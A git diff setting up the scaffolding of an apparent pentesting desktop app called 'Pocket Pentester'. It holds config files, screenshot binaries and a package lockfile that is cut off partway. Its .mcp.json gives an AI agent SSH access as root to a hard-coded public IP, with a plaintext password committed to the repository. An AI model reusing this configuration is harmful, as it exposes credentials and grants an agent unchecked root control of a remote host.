diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a547bf3 --- /dev/null +++ b/.gitignore @@ -0,0 +1,24 @@ +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* + +node_modules +dist +dist-ssr +*.local + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +.DS_Store +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? diff --git a/.mcp.json b/.mcp.json new file mode 100644 index 0000000..b0a2ba9 --- /dev/null +++ b/.mcp.json @@ -0,0 +1,27 @@ +{ + "mcpServers": { + "ssh-mcp": { + "command": "npx", + "args": [ + "ssh-mcp", + "-y", + "--", + "--host=52.221.242.70", + "--port=22", + "--user=root", + "--password=pass", + "--key=path/to/key", + "--timeout=30000", + "--maxChars=none" + ] + }, + "uiautomator2": { + "type": "stdio", + "command": "python", + "args": [ + "C:\\Users\\mumur\\uiautomator2-mcp\\server.py" + ], + "env": {} +} + } +} \ No newline at end of file diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..cf4385b --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "Vue.volar", + "tauri-apps.tauri-vscode", + "rust-lang.rust-analyzer" + ] +} diff --git a/docs/screenshots/arsenal.png b/docs/screenshots/arsenal.png new file mode 100644 index 0000000..3b35ee1 Binary files /dev/null and b/docs/screenshots/arsenal.png differ diff --git a/docs/screenshots/autopwn.png b/docs/screenshots/autopwn.png new file mode 100644 index 0000000..617e178 Binary files /dev/null and b/docs/screenshots/autopwn.png differ diff --git a/docs/screenshots/splash.png b/docs/screenshots/splash.png new file mode 100644 index 0000000..45b5430 Binary files /dev/null and b/docs/screenshots/splash.png differ diff --git a/icon.png b/icon.png new file mode 100644 index 0000000..b34830a Binary files /dev/null and b/icon.png differ diff --git a/imtaqin.id.png b/imtaqin.id.png new file mode 100644 index 0000000..759ad3f Binary files /dev/null and b/imtaqin.id.png differ diff --git a/index.html b/index.html new file mode 100644 index 0000000..ab2f708 --- /dev/null +++ b/index.html @@ -0,0 +1,17 @@ + + + + + + + + + + Pocket Pentester + + + +
+ + + diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..ce17411 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1793 @@ +{ + "name": "pocketpentester", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "pocketpentester", + "version": "0.1.0", + "dependencies": { + "@tauri-apps/api": "^2", + "@tauri-apps/plugin-opener": "^2", + "vue": "^3.5.13" + }, + "devDependencies": { + "@tauri-apps/cli": "^2", + "@vitejs/plugin-vue": "^5.2.1", + "typescript": "~5.6.2", + "vite": "^6.0.3", + "vue-tsc": "^2.1.10" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", + "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "license": "MIT" + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.60.1.tgz", + "integrity": "sha512-d6FinEBLdIiK+1uACUttJKfgZREXrF0Qc2SmLII7W2AD8FfiZ9Wjd+rD/iRuf5s5dWrr1GgwXCvPqOuDquOowA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.60.1.tgz", + "integrity": "sha512-YjG/EwIDvvYI1YvYbHvDz/BYHtkY4ygUIXHnTdLhG+hKIQFBiosfWiACWortsKPKU/+dUwQQCKQM3qrDe8c9BA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.60.1.tgz", + "integrity": "sha512-mjCpF7GmkRtSJwon+Rq1N8+pI+8l7w5g9Z3vWj4T7abguC4Czwi3Yu/pFaLvA3TTeMVjnu3ctigusqWUfjZzvw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.60.1.tgz", + "integrity": "sha512-haZ7hJ1JT4e9hqkoT9R/19XW2QKqjfJVv+i5AGg57S+nLk9lQnJ1F/eZloRO3o9Scy9CM3wQ9l+dkXtcBgN5Ew==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.60.1.tgz", + "integrity": "sha512-czw90wpQq3ZsAVBlinZjAYTKduOjTywlG7fEeWKUA7oCmpA8xdTkxZZlwNJKWqILlq0wehoZcJYfBvOyhPTQ6w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.60.1.tgz", + "integrity": "sha512-KVB2rqsxTHuBtfOeySEyzEOB7ltlB/ux38iu2rBQzkjbwRVlkhAGIEDiiYnO2kFOkJp+Z7pUXKyrRRFuFUKt+g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.60.1.tgz", + "integrity": "sha512-L+34Qqil+v5uC0zEubW7uByo78WOCIrBvci69E7sFASRl0X7b/MB6Cqd1lky/CtcSVTydWa2WZwFuWexjS5o6g==", + "cpu": [ + "arm" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.60.1.tgz", + "integrity": "sha512-n83O8rt4v34hgFzlkb1ycniJh7IR5RCIqt6mz1VRJD6pmhRi0CXdmfnLu9dIUS6buzh60IvACM842Ffb3xd6Gg==", + "cpu": [ + "arm" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.60.1.tgz", + "integrity": "sha512-Nql7sTeAzhTAja3QXeAI48+/+GjBJ+QmAH13snn0AJSNL50JsDqotyudHyMbO2RbJkskbMbFJfIJKWA6R1LCJQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.60.1.tgz", + "integrity": "sha512-+pUymDhd0ys9GcKZPPWlFiZ67sTWV5UU6zOJat02M1+PiuSGDziyRuI/pPue3hoUwm2uGfxdL+trT6Z9rxnlMA==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.60.1.tgz", + "integrity": "sha512-VSvgvQeIcsEvY4bKDHEDWcpW4Yw7BtlKG1GUT4FzBUlEKQK0rWHYBqQt6Fm2taXS+1bXvJT6kICu5ZwqKCnvlQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.60.1.tgz", + "integrity": "sha512-4LqhUomJqwe641gsPp6xLfhqWMbQV04KtPp7/dIp0nzPxAkNY1AbwL5W0MQpcalLYk07vaW9Kp1PBhdpZYYcEw==", + "cpu": [ + "loong64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.60.1.tgz", + "integrity": "sha512-tLQQ9aPvkBxOc/EUT6j3pyeMD6Hb8QF2BTBnCQWP/uu1lhc9AIrIjKnLYMEroIz/JvtGYgI9dF3AxHZNaEH0rw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.60.1.tgz", + "integrity": "sha512-RMxFhJwc9fSXP6PqmAz4cbv3kAyvD1etJFjTx4ONqFP9DkTkXsAMU4v3Vyc5BgzC+anz7nS/9tp4obsKfqkDHg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.60.1.tgz", + "integrity": "sha512-QKgFl+Yc1eEk6MmOBfRHYF6lTxiiiV3/z/BRrbSiW2I7AFTXoBFvdMEyglohPj//2mZS4hDOqeB0H1ACh3sBbg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.60.1.tgz", + "integrity": "sha512-RAjXjP/8c6ZtzatZcA1RaQr6O1TRhzC+adn8YZDnChliZHviqIjmvFwHcxi4JKPSDAt6Uhf/7vqcBzQJy0PDJg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.60.1.tgz", + "integrity": "sha512-wcuocpaOlaL1COBYiA89O6yfjlp3RwKDeTIA0hM7OpmhR1Bjo9j31G1uQVpDlTvwxGn2nQs65fBFL5UFd76FcQ==", + "cpu": [ + "s390x" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.60.1.tgz", + "integrity": "sha512-77PpsFQUCOiZR9+LQEFg9GClyfkNXj1MP6wRnzYs0EeWbPcHs02AXu4xuUbM1zhwn3wqaizle3AEYg5aeoohhg==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.60.1.tgz", + "integrity": "sha512-5cIATbk5vynAjqqmyBjlciMJl1+R/CwX9oLk/EyiFXDWd95KpHdrOJT//rnUl4cUcskrd0jCCw3wpZnhIHdD9w==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.60.1.tgz", + "integrity": "sha512-cl0w09WsCi17mcmWqqglez9Gk8isgeWvoUZ3WiJFYSR3zjBQc2J5/ihSjpl+VLjPqjQ/1hJRcqBfLjssREQILw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.60.1.tgz", + "integrity": "sha512-4Cv23ZrONRbNtbZa37mLSueXUCtN7MXccChtKpUnQNgF010rjrjfHx3QxkS2PI7LqGT5xXyYs1a7LbzAwT0iCA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.60.1.tgz", + "integrity": "sha512-i1okWYkA4FJICtr7KpYzFpRTHgy5jdDbZiWfvny21iIKky5YExiDXP+zbXzm3dUcFpkEeYNHgQ5fuG236JPq0g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.60.1", + "resolved": 